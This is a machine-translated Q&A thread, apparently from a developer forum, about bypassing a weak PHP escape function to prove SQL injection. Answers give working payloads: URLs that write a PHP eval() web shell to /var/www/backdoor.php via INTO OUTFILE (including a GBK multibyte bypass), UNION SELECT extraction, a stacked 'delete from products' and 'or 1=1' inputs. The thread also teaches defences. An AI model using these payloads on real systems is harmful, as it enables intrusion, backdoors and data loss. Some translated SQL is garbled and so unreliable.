В приложении, над которым я работаю, обнаружена слабая функция escape, предотвращающая инъекцию. Я пытаюсь доказать это, но у меня возникают проблемы при создании простого примера.
Функция escape работает следующим образом (пример PHP).
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
Я понимаю, что это не касается значений, закодированных с использованием double quotes ("), но все запросы строятся с использованием одинарных кавычек (').
Кто может победить эту escape-функцию?
Требования:
Простые примеры:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
Если вы просто заменяете '
на ' '
, то вы можете использовать это, введя \'
, который превратится в \ ''
, и это позволит вам вырваться, потому что это дает вам одинарные кавычки "символьного литерала" и настоящие одинарные кавычки. Однако замена "\\"
на "\\\\"
сводит на нет эту атаку. Двойные одинарные кавычки используются для «выхода» из одинарных кавычек для MS-SQL, но это не подходит для MySQL, но может работать.
Следующие коды доказывают , что эта функция выхода безопасна для всех, кроме трех условий . Этот код переставляет все возможные варианты контрольных чартов и проверяет каждый из них, чтобы убедиться, что ошибка не возникает при использовании оператора select, заключенного в одинарную кавычку. Этот код был протестирован на MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Уязвимое условие 1: кавычки не используются.
mysql_query("select username from users where id=".escape($_GET['id']));
Эксплойт:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Уязвимое условие 2: используются двойные кавычки
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Эксплойт:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Уязвимое условие 2: используются одинарные кавычки, однако используется альтернативный набор символов . .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Эксплойт:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Вывод состоит в том, чтобы всегда использовать mysql_real_escape_string ()
в качестве процедуры выхода для MySQL. Библиотеки параметризованных запросов, такие как pdo и adodb, всегда используют mysql_real_escape_string ()
при подключении к базе данных mysql. addlashes ()
НАМНОГО ЛУЧШЕ процедуры выхода, потому что он заботится об уязвимом состоянии 2. Следует отметить, что даже mysql_real_escape_string ()
не остановит условие 1, однако библиотека параметризованных запросов будет.
Кроме того, вы можете попробовать что-нибудь с UNION SELECT
shop.php? Productid = 322
=>
shop.php? Productid = 322 UNION SELECT 1, 2,3 ОТ пользователей WHERE 1; -
Для отображения информации из других таблиц.
Конечно, вам придется изменить имя таблицы и числа внутри UNION SELECT, чтобы они соответствовали количеству имеющихся столбцов. Это популярный способ извлечения данных, таких как имена пользователей и пароли администраторов.
Функция escape не обрабатывает многобайтовые символы. Проверьте http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string , чтобы узнать, как использовать эту escape-функцию.
Удачи вам, взломав свою базу данных!
Как насчет работы с числами?
shop.php?productid=322
становится
SELECT * FROM [Products] WHERE productid = 322
shop.php?productid=322; delete from products;--
становится
SELECT * FROM [Products] WHERE productid = 322; удалить из продуктов; -
(Не все запросы состоят из одинарных кавычек и строк)
Я никогда не использовал PHP, однако нельзя ли использовать вызовы хранимых процедур вместо прямых операторов SQL? Кажется, это лучшая защита от SQL-инъекции, чем попытка использовать escape-функцию.
Однако функция escape может быть полезна против вредоносного javascript.
Поскольку вы используете UTF-8 в качестве кодировки, это может быть уязвимо для слишком длинной последовательности UTF-8. Символ апострофа ('), который обычно кодируется как 0x27, может быть закодирован как длинная последовательность 0xc0 0xa7 (URL-код: %c0%a7). Функция escape пропустит это, но MySQL может интерпретировать это таким образом, что вызовет SQL-инъекцию.
Как отмечали другие, вам действительно нужно использовать mysql_real_escape_string
, как минимум (в вашем случае это легко исправить), которая должна обрабатывать кодировку символов и другие вопросы за вас. Предпочтительнее перейти на использование подготовленных операторов.
как about ...
\' or 1=1--
Который должен быть расширен до:
\'' or 1=1--
Таким образом, использование его для id в следующем запросе ...
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
должно привести к:
$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';